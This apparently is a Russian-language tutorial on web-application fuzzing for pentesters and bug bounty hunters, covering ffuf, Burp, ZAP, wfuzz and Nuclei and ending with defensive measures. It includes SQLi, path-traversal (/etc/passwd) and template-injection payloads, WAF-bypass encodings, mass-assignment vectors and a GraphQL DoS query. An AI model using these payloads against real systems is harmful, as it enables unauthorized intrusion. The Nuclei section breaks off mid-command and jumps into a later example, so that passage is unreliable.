Представьте: вы только что нашли критическую SQL-инъекцию на сайте крупной компании через Bug Bounty программу. Награда? $5000. Метод обнаружения? Всего 3 минуты фаззинга с правильным инструментом.
В этом руководстве я покажу реальные техники фаззинга, которые использую в пентестах уже 8 лет. Вы узнаете про лучшие инструменты (Burp Suite, OWASP ZAP, ffuf), увидите практические примеры эксплуатации и получите готовые payloads для поиска уязвимостей.
Содержание
- Что такое фаззинг и почему он критически важен
- Топ-7 инструментов для фаззинга в 2025
- Практические примеры поиска уязвимостей
- Фаззинг в Bug Bounty: как заработать первые $1000
- API фаззинг: REST, GraphQL, WebSocket
- Автоматизация фаззинга в CI/CD
- FAQ: частые вопросы о фаззинге
Что такое фаззинг и почему он критически важен
Фаззинг (Fuzzing) — это автоматизированная техника тестирования безопасности, при которой на вход приложения подаются специально сформированные данные для поиска уязвимостей и ошибок.
Ключевые цели фаззинга:
Поиск критических уязвимостей:- SQL/NoSQL инъекции
- XSS (Reflected, Stored, DOM-based)
- XXE, SSRF, LFI/RFI
- Command Injection
- IDOR и логические ошибки
Статистика эффективности:
По данным OWASP 2023, фаззинг помогает обнаружить:
- 73% SQL инъекций
- 81% XSS уязвимостей
- 67% IDOR багов
- 89% ошибок валидации входных данных
Что можно фаззить в веб-приложениях:
КомпонентПримеры параметровЧастые находкиGET параметры?id=1&page=homeSQLi, XSS, LFIPOST данныеusername, passwordSQLi, Authentication bypassHeadersUser-Agent, RefererLog injection, CRLFCookiesPHPSESSID, auth_tokenSession fixation, Privilege escalationJSON/XML{"user_id": 123}XXE, NoSQL injectionFile uploadsfilename, content-typePath traversal, RCE
Полезные нагрузки (Payloads) для начала:
Код:
Код:
# Базовые payloads для обнаружения инъекций
' " ; -- /* */
alert(1)
../../../../../../etc/passwd
${7*7} {{7*7}}
# Специальные символы и байты
%00 %0d%0a %2522 %27 %3c%3e
[] {} () | & $ @ ! ~ `
# Boolean и числовые аномалии
True False null undefined NaN
-1 0 1 999999999999 0.0001
Топ-7 инструментов для фаззинга в 2025
1. Burp Suite Professional — золотой стандарт
Burp Suite остается лидером среди инструментов для веб-пентеста. Модуль Intruder идеально подходит для фаззинга.
Ключевые возможности:- 4 типа атак (Sniper, Battering ram, Pitchfork, Cluster bomb)
- Встроенные payload sets
- Анализ результатов по длине/времени ответа
- Интеграция с расширениями (Param Miner, Backslash Powered Scanner)
Пример использования Intruder для поиска скрытых параметров:- Перехватываем запрос в Proxy
- Отправляем в Intruder (Ctrl+I)
- Добавляем позицию: GET /?§param§=test
- Загружаем словарь параметров
- Анализируем изменения в длине ответа
Цена: $449/год (Community Edition бесплатная, но с ограничениями)
2. ffuf — самый быстрый fuzzer для командной строки
ffuf (Fuzz Faster U Fool) — написанный на Go инструмент, который в 10 раз быстрее традиционных fuzzer'ов.
Установка:
Bash:
Код:
go
install
github.com/ffuf/ffuf@latest
# или через apt
sudo
apt
install
ffuf
Примеры использования ffuf:
Bash:
Код:
# Фаззинг GET параметров
ffuf -w params.txt -u
"http://target.com/?FUZZ=test"
-fs
1234
# Поиск скрытых директорий с фильтрацией
ffuf -w dirs.txt -u
"http://target.com/FUZZ"
-fc
404,403
# Фаззинг POST данных
ffuf -w sqli.txt -X POST -d
"username=admin&password=FUZZ"
\
-u
"http://target.com/login"
-fr
"Invalid password"
# Многопоточный фаззинг с кастомными headers
ffuf -w payloads.txt -u
"http://target.com/"
\
-H
"X-Custom-Header: FUZZ"
-t
100
-rate
1000
Преимущества ffuf:- Скорость до 10000 запросов/сек
- Гибкая фильтрация результатов
- JSON output для автоматизации
- Поддержка прокси и TLS
3. OWASP ZAP — бесплатная альтернатива Burp
OWASP ZAP (Zed Attack Proxy) — открытый инструмент с мощным fuzzer'ом и активным сообществом.
Особенности Fuzzer в ZAP:- GUI интерфейс для новичков
- Встроенные fuzz файлы от FuzzDB
- Автоматическое определение уязвимостей
- Скриптинг на Python/JavaScript
Настройка фаззинга в ZAP:- Tools → Fuzzer
- Выделяем параметр для фаззинга
- Add → File Fuzzers → jbrofuzz/SQL Injection
- Start Fuzzer
- Анализируем State, Size, RTT колонки
4. wfuzz — швейцарский нож для фаззинга
wfuzz специализируется на веб-фаззинге с продвинутыми возможностями фильтрации.
Bash:
Код:
# Установка
pip
install
wfuzz
# Брутфорс subdomains
wfuzz -c -w subdomains.txt -H
"Host: FUZZ.target.com"
\
--hc
404
http://target.com
# Фаззинг с аутентификацией
wfuzz -c -w users.txt -w pass.txt
\
-d
"username=FUZZ&password=FUZ2Z"
\
http://target.com/login
5. Nuclei — template-based фаззинг
Nuclei от ProjectDiscovery использует YAML шаблоны для автоматизированного поиска уязвимостей.
Bash:
Код:
# Запуск с fuzzing templates
nuclei -t fuzzing/ -u http://target.com
# Создание custom fuzzing template
cat
>
sqli-fuzz.yaml
found_files.txt
echo
"test.php"
>>
found_files.txt
echo
"index.php"
>>
found_files.txt
# Ищем backup версии
gobuster
dir
-u http://example.kz
\
-w found_files.txt
\
-x bak,old,zip,gz,tar,rar,7z,backup,orig,copy
\
-t
30
Найдены файлы:
- test.php.gz
- news.php.old
- index.php.bak
Скачиваем и анализируем исходный код:
Пример 6: IDOR через изменение идентификатора
В URL передается ИИН (идентификационный номер):
Код:
Код:
http://example.kz/user/123456789012
Меняем на другой ИИН:
Код:
Код:
http://example.kz/user/987654321098
Получаем данные другого пользователя (IDOR подтвержден):
Фаззинг в Bug Bounty: как заработать первые $1000
Стратегия эффективного фаззинга для Bug Bounty
1. Выбор целей с максимальным ROI:- Фокус на новых функциях (часто менее протестированы)
- API endpoints (особенно GraphQL)
- Административные панели
- File upload функционал
2. Уникальные payloads для обхода WAF:
Bash:
Код:
# Обход фильтров SQLi
/*
!
50000UniOn*/ /*
!
50000SeLeCt*/
%55nion %53elect
UnIoN/**/AlL/**/SeLeCt
# XSS через encoding
3. Automation workflow для Bug Bounty:
Bash:
Код:
# Сбор endpoints
waybackurls target.com
|
grep
"?"
>
params.txt
# Массовый фаззинг
cat
params.txt
|
while
read
url
;
do
ffuf -w payloads.txt -u
"$url"
-mc
200,500
,400
\
-o results/
$(echo $url | base64)
.json
done
# Анализ результатов
grep
-r
"error\|exception\|sql\|mysql"
results/
Реальные кейсы и выплаты
Кейс #1: SQL Injection через User-Agent- Платформа: HackerOne
- Выплата: $3,500
- Payload:
Код:
User-Agent: ' OR 1=1--
- Время обнаружения: 15 минут фаззинга headers
Кейс #2: XXE через file upload- Платформа: Bugcrowd
- Выплата: $2,000
- Метод: Фаззинг Content-Type с XML payloads
- Инструмент: Burp Suite Intruder
Кейс #3: IDOR в API endpoint- Платформа: Synack
- Выплата: $1,500
- Метод: Фаззинг числовых ID с инкрементом
- Инструмент: ffuf с range payload
Чек-лист для Bug Bounty фаззинга
Код:
Код:
## Pre-fuzzing разведка
- [ ] Собрать все endpoints через crawler
- [ ] Найти параметры через waybackurls
- [ ] Изучить JS файлы на скрытые API
- [ ] Проверить robots.txt и sitemap.xml
## Fuzzing targets
- [ ] GET/POST параметры
- [ ] HTTP Headers (особенно custom)
- [ ] Cookies и session tokens
- [ ] JSON/XML структуры
- [ ] GraphQL queries
- [ ] File upload (filename, content-type)
- [ ] WebSocket messages
## Payloads priority
- [ ] SQL injection variants
- [ ] XSS polyglots
- [ ] XXE patterns
- [ ] SSRF indicators
- [ ] Command injection
- [ ] Template injection
- [ ] CRLF injection
API фаззинг: REST, GraphQL, WebSocket
REST API фаззинг
Специфичные векторы для REST API:
Bash:
Код:
# Mass assignment
{
"role"
:
"admin"
,
"verified"
:
true
}
# JSON injection
{
"search"
:
"test\",\"isAdmin\":true,\"x\":\""
}
# Method override
X-HTTP-Method-Override: DELETE
X-Method-Override: PUT
Автоматизация с ffuf:
Bash:
Код:
# Фаззинг REST endpoints
ffuf -w api-endpoints.txt
\
-u
"http://api.target.com/v1/FUZZ"
\
-H
"Authorization: Bearer token123"
\
-mc
200,201
,204
# Поиск версий API
ffuf -w numbers.txt
\
-u
"http://api.target.com/vFUZZ/users"
\
-fs
0
GraphQL фаззинг
Инструменты для GraphQL:- graphql-cop
- InQL для Burp Suite
- graphql-path-enum
Примеры запросов для фаззинга:
Код:
Код:
# Introspection query
{__schema{types{name,fields{name}}}}
# Обход rate limiting
query {
alias1: user(id: 1) { email }
alias2: user(id: 2) { email }
alias3: user(id: 3) { email }
}
# Nested queries DoS
query {
posts {
author {
posts {
author {
posts { title }
}
}
}
}
}
WebSocket фаззинг
Фаззинг WebSocket с помощью Python:
Python:
Код:
import
websocket
import
json
payloads
=
[
"'"
,
'"'
,
"';--"
,
"admin"
]
ws
=
websocket
.
WebSocket
(
)
ws
.
connect
(
"ws://target.com/socket"
)
for
payload
in
payloads
:
msg
=
json
.
dumps
(
{
"action"
:
"search"
,
"query"
:
payload
}
)
ws
.
send
(
msg
)
result
=
ws
.
recv
(
)
if
"error"
in
result
or
len
(
result
)
!=
baseline
:
print
(
f"Anomaly with payload:{payload}"
)
Автоматизация фаззинга в CI/CD
Интеграция в GitHub Actions
Код:
Код:
name: Security Fuzzing
on:
pull_request:
branches: [ main ]
jobs:
fuzz-testing:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Run ffuf fuzzing
run: |
docker run -v $(pwd):/data \
ghcr.io/ffuf/ffuf:latest \
-w /data/wordlists/params.txt \
-u "http://staging.app/test?FUZZ=1" \
-mc 500,400 -o fuzz_results.json
- name: Check for vulnerabilities
run: |
if grep -q "error\|exception" fuzz_results.json; then
echo "Potential vulnerabilities found!"
exit 1
fi
Jenkins Pipeline для фаззинга
Код:
Код:
pipeline {
agent any
stages {
stage('Fuzzing') {
steps {
script {
sh '''
# Run Nuclei fuzzing templates
nuclei -t fuzzing/ -u $TARGET_URL \
-o nuclei_results.txt
# Check results
if [ -s nuclei_results.txt ]; then
echo "Vulnerabilities found!"
exit 1
fi
'''
}
}
}
}
post {
always {
archiveArtifacts artifacts: '*_results.txt'
}
}
}
Docker compose для фuzz лаборатории
Код:
Код:
version: '3.8'
services:
ffuf:
image: ghcr.io/ffuf/ffuf:latest
volumes:
- ./wordlists:/wordlists
- ./results:/results
command: >
-w /wordlists/all.txt
-u http://target:8080/FUZZ
-o /results/ffuf.json
zap:
image: owasp/zap2docker-stable
command: >
zap-baseline.py
-t http://target:8080
-J zap_report.json
target:
image: vulnerable-app:latest
ports:
- "8080:8080"
Защита от фаззинга: рекомендации для разработчиков
Основные методы защиты
1. Input Validation (валидация входных данных):
Python:
Код:
# Python пример с flask
from
flask
import
Flask
,
request
,
abort
import
re
app
=
Flask
(
__name__
)
def
validate_input
(
data
,
pattern
)
:
if
not
re
.
match
(
pattern
,
data
)
:
abort
(
400
,
"Invalid input format"
)
return
data
@app.route
(
'/user'
)
def
get_user
(
)
:
user_id
=
request
.
args
.
get
(
'id'
,
''
)
# Разрешаем только числовые ID
validated_id
=
validate_input
(
user_id
,
r'^\d{1,10}$'
)
# Дальнейшая обработка...
2. Rate Limiting:
Код:
Код:
# Nginx конфигурация
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
location /api/ {
limit_req zone=api burst=20 nodelay;
limit_req_status 429;
}
3. WAF правила:
Код:
Код:
# ModSecurity правила
SecRule ARGS "@detectSQLi" \
"id:1001,\
phase:2,\
block,\
msg:'SQL Injection Attack Detected',\
logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}'"
4. Security Headers:
Код:
Код:
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self'
Мониторинг и алертинг
Python:
Код:
# Пример логирования подозрительной активности
import
logging
from
datetime
import
datetime
,
timedelta
from
collections
import
defaultdict
class
FuzzingDetector
:
def
__init__
(
self
,
threshold
=
100
,
window
=
60
)
:
self
.
requests
=
defaultdict
(
list
)
self
.
threshold
=
threshold
self
.
window
=
window
def
check_request
(
self
,
ip
,
endpoint
)
:
now
=
datetime
.
now
(
)
self
.
requests
[
ip
]
.
append
(
now
)
# Очистка старых записей
cutoff
=
now
-
timedelta
(
seconds
=
self
.
window
)
self
.
requests
[
ip
]
=
[
t
for
t
in
self
.
requests
[
ip
]
if
t
>
cutoff
]
# Проверка порога
if
len
(
self
.
requests
[
ip
]
)
>
self
.
threshold
:
logging
.
warning
(
f"Possible fuzzing from{ip}on{endpoint}"
)
return
True
return
False
FAQ: частые вопросы о фаззинге
Что такое фаззинг простыми словами?
Фаззинг — это как проверка замка разными ключами подряд. Вы берете тысячи "неправильных" ключей (специальных символов и команд) и пробуете их во всех "замках" (полях ввода) сайта. Если какой-то "ключ" вызывает странное поведение или ошибку — вы нашли потенциальную уязвимость.
Какой fuzzer лучше для начинающих?
Для новичков рекомендую начать с
OWASP ZAP — у него понятный графический интерфейс и встроенные обучающие материалы. После освоения базовых концепций переходите на
ffuf для скорости или
Burp Suite Community для комплексного тестирования.
Фаззинг vs сканирование уязвимостей: в чем разница?
АспектФаззингСканирование ПодходАктивное тестирование с payloadsПассивный анализ и signaturesГлубинаГлубокое тестирование конкретных точекШирокое покрытие всего приложенияFalse PositivesМеньше (проверяете вручную)Больше (автоматические отчеты)ВремяМожет занять часы на один параметрМинуты на все приложениеНавыкиТребует понимания уязвимостейМожет использовать новичок
Легально ли использовать фаззинг?
Фаззинг
легален только при тестировании:
- Собственных приложений
- Систем с письменного разрешения владельца
- Публичных Bug Bounty программ (в рамках scope)
- Учебных полигонов (DVWA, WebGoat, HackTheBox)
Нелегально фаззить любые системы без разрешения — это может квалифицироваться как попытка взлома по статье 272 УК РФ.
Какие wordlists использовать для фаззинга?
Топ-5 коллекций wordlists:- SecLists — самая полная коллекция
- FuzzDB — специализированные fuzzing payloads
- PayloadsAllTheThings — актуальные payloads с примерами
- ParamPamPam — параметры для parameter discovery
- OneListForAll — объединенные wordlists
Как обойти WAF при фаззинге?
Техники обхода WAF:
Bash:
Код:
# 1. Rate limiting обход
ffuf -w payloads.txt -u URL -rate
2
-t
1
# 2. Ротация User-Agent
ffuf -w payloads.txt -u URL
\
-H
"User-Agent: Mozilla/5.0..."
\
-shuffle
# 3. Encoding payloads
# URL encode
%27%20%4F%52%20%31%3D%31%2D%2D
# Unicode
\
u0027
\
u0020
\
u004F
\
u0052
# HTML entities
&
#x27; OR
# 4. Case variations
UnIoN SeLeCt
uNiOn sElEcT
# 5. Comments injection
/*
!
UNION*/ /*
!
SELECT*/
UN/**/ION SE/**/LECT
Сколько можно заработать на фаззинге в Bug Bounty?
Статистика выплат за уязвимости, найденные фаззингом (2024):- SQL Injection: $500 - $10,000
- XSS: $100 - $5,000
- XXE: $300 - $8,000
- SSRF: $500 - $15,000
- RCE: $1,000 - $50,000
Средний заработок Bug Bounty хантера, активно использующего фаззинг: $2,000 - $5,000/месяц (при 20-30 часах в неделю).
Как ускорить фаззинг больших приложений?
Bash:
Код:
# 1. Используйте многопоточность
ffuf -w huge_list.txt -u URL -t
200
# 2. Распределенный фаззинг
# Разделите wordlist
split
-n
4
wordlist.txt part_
# Запустите параллельно
parallel -j
4
'ffuf -w part_{} -u URL'
::: aa ab ac ad
# 3. Smart filtering
ffuf -w list.txt -u URL
\
-fc
404,403
\
# Filter status codes
-fs
1234
\
# Filter size
-fr
"Not Found"
# Filter regex
# 4. Используйте быстрые DNS резолверы
echo
"nameserver 1.1.1.1"
>
/etc/resolv.conf
Заключение и следующие шаги
Фаззинг — это не просто технический навык, а искусство находить то, что пропустили другие. Начните с освоения одного инструмента (рекомендую ffuf или OWASP ZAP), практикуйтесь на легальных платформах и постепенно наращивайте сложность.
Ваш план действий на ближайшие 30 дней:
Неделя 1-2: Основы- Установите ffuf и OWASP ZAP
- Пройдите PortSwigger Web Security Academy
- Практикуйтесь на DVWA или WebGoat
Неделя 3: Практика- Зарегистрируйтесь на HackTheBox или TryHackMe
- Решите 10 заданий с использованием фаззинга
- Создайте свою коллекцию payloads
Неделя 4: Bug Bounty- Выберите программу на HackerOne/Bugcrowd
- Начните с поиска low-hanging fruits
- Документируйте находки и методологию
Полезные ресурсы для углубления знаний:
Обучение:- OWASP Testing Guide v4
- The Bug Hunter's Methodology
- Nahamsec's Bug Bounty Course
Инструменты:- Awesome Fuzzing
- Bug Bounty Tools
Сообщества:- Bug Bounty Forum
- Telegram: @bugbounty_ru
- Discord: Bug Bounty Hunters
Есть вопросы по фаззингу или нужна помощь с конкретным кейсом? Пишите в комментарии или на GitHub проекта Fuzzer — отвечу и помогу разобраться!
Обновлено: Январь 2025 | Автор: WiIs0n | Время чтения: 25 минут